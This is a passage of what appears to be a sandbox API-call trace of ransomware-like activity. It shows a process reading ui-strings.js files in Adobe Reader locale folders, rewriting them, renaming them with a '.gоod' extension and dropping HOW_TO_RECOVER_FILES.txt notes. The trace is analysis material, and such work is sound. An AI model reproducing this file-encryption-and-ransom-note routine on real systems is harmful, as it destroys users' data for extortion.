lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0262.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0262.887] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x98e8840e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0262.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0262.887] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\ui-strings.js.gоod")) returned 1 [0262.888] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0262.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0262.888] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\en-il\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x858 [0262.889] GetFileType (hFile=0x858) returned 0x1 [0262.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0262.890] GetFileType (hFile=0x858) returned 0x1 [0262.890] WriteFile (in: hFile=0x858, lpBuffer=0x39b8de8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x39b8de8*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0262.891] CloseHandle (hObject=0x858) returned 1 [0262.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0262.891] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es", lpFilePart=0x0) returned 0x7e [0262.891] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0262.891] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.891] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.891] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0262.892] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0262.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0262.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0262.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0262.892] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es", lpFilePart=0x0) returned 0x7e [0262.892] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0262.892] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.892] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0262.892] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0262.892] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0262.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0262.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0262.893] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0262.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0262.893] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39c8e60 | out: lpFileInformation=0x39c8e60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x359)) returned 1 [0262.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0262.893] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0262.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0262.893] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x858 [0262.893] GetFileType (hFile=0x858) returned 0x1 [0262.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0262.893] GetFileType (hFile=0x858) returned 0x1 [0262.893] GetFileSize (in: hFile=0x858, lpFileSizeHigh=0x20beb998 | out: lpFileSizeHigh=0x20beb998*=0x0) returned 0x359 [0262.893] ReadFile (in: hFile=0x858, lpBuffer=0x39c9588, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x20beb8c8, lpOverlapped=0x0 | out: lpBuffer=0x39c9588*, lpNumberOfBytesRead=0x20beb8c8*=0x359, lpOverlapped=0x0) returned 1 [0263.049] CloseHandle (hObject=0x858) returned 1 [0263.569] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb2d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0263.569] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb7f0) returned 1 [0263.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0263.570] GetFileType (hFile=0x768) returned 0x1 [0263.570] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb760) returned 1 [0263.570] GetFileType (hFile=0x768) returned 0x1 [0263.570] WriteFile (in: hFile=0x768, lpBuffer=0x3d60ae8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x20beb7d8, lpOverlapped=0x0 | out: lpBuffer=0x3d60ae8*, lpNumberOfBytesWritten=0x20beb7d8*=0x360, lpOverlapped=0x0) returned 1 [0263.570] CloseHandle (hObject=0x768) returned 1 [0263.570] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0263.570] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x91 [0263.570] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb900) returned 1 [0263.570] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x20beb9e0 | out: lpFileInformation=0x20beb9e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x994f0949, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x360)) returned 1 [0263.571] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb8c0) returned 1 [0263.571] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\ui-strings.js.gоod")) returned 1 [0263.572] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x20beb5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x97 [0263.572] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb00) returned 1 [0263.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\es-es\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0263.573] GetFileType (hFile=0x768) returned 0x1 [0263.573] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba70) returned 1 [0263.573] GetFileType (hFile=0x768) returned 0x1 [0263.574] WriteFile (in: hFile=0x768, lpBuffer=0x3d644d0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x20bebbc8, lpOverlapped=0x0 | out: lpBuffer=0x3d644d0*, lpNumberOfBytesWritten=0x20bebbc8*=0x5d0, lpOverlapped=0x0) returned 1 [0263.574] CloseHandle (hObject=0x768) returned 1 [0263.575] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0263.575] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es", lpFilePart=0x0) returned 0x7e [0263.575] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b4c0 [0263.857] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.899] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.899] FindNextFileW (in: hFindFile=0x134b4c0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.899] FindClose (in: hFindFile=0x134b4c0 | out: hFindFile=0x134b4c0) returned 1 [0263.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0263.899] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0263.899] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20bebb90) returned 1 [0263.899] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es", nBufferLength=0x105, lpBuffer=0x20beb630, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es", lpFilePart=0x0) returned 0x7e [0263.900] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\*", lpFindFileData=0x20beb8b0 | out: lpFindFileData=0x20beb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ada0 [0263.900] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.900] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.900] FindNextFileW (in: hFindFile=0x134ada0, lpFindFileData=0x20beb870 | out: lpFindFileData=0x20beb870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.900] FindClose (in: hFindFile=0x134ada0 | out: hFindFile=0x134ada0) returned 1 [0263.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20bebad0) returned 1 [0263.900] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beba90) returned 1 [0263.901] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x20beb470, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js", lpFilePart=0x0) returned 0x8c [0263.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x20beb940) returned 1 [0263.901] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer-select\\js\\nls\\eu-es\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a6c6a0 | out: lpFileInformation=0x3a6c6a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee9b669f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee9b669f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee9b669f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x357)) returned 1 [0263.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x20beb900) returned 1 [0263.901] GetFullPathNameW (in: lpFileName="C:\\Program Files 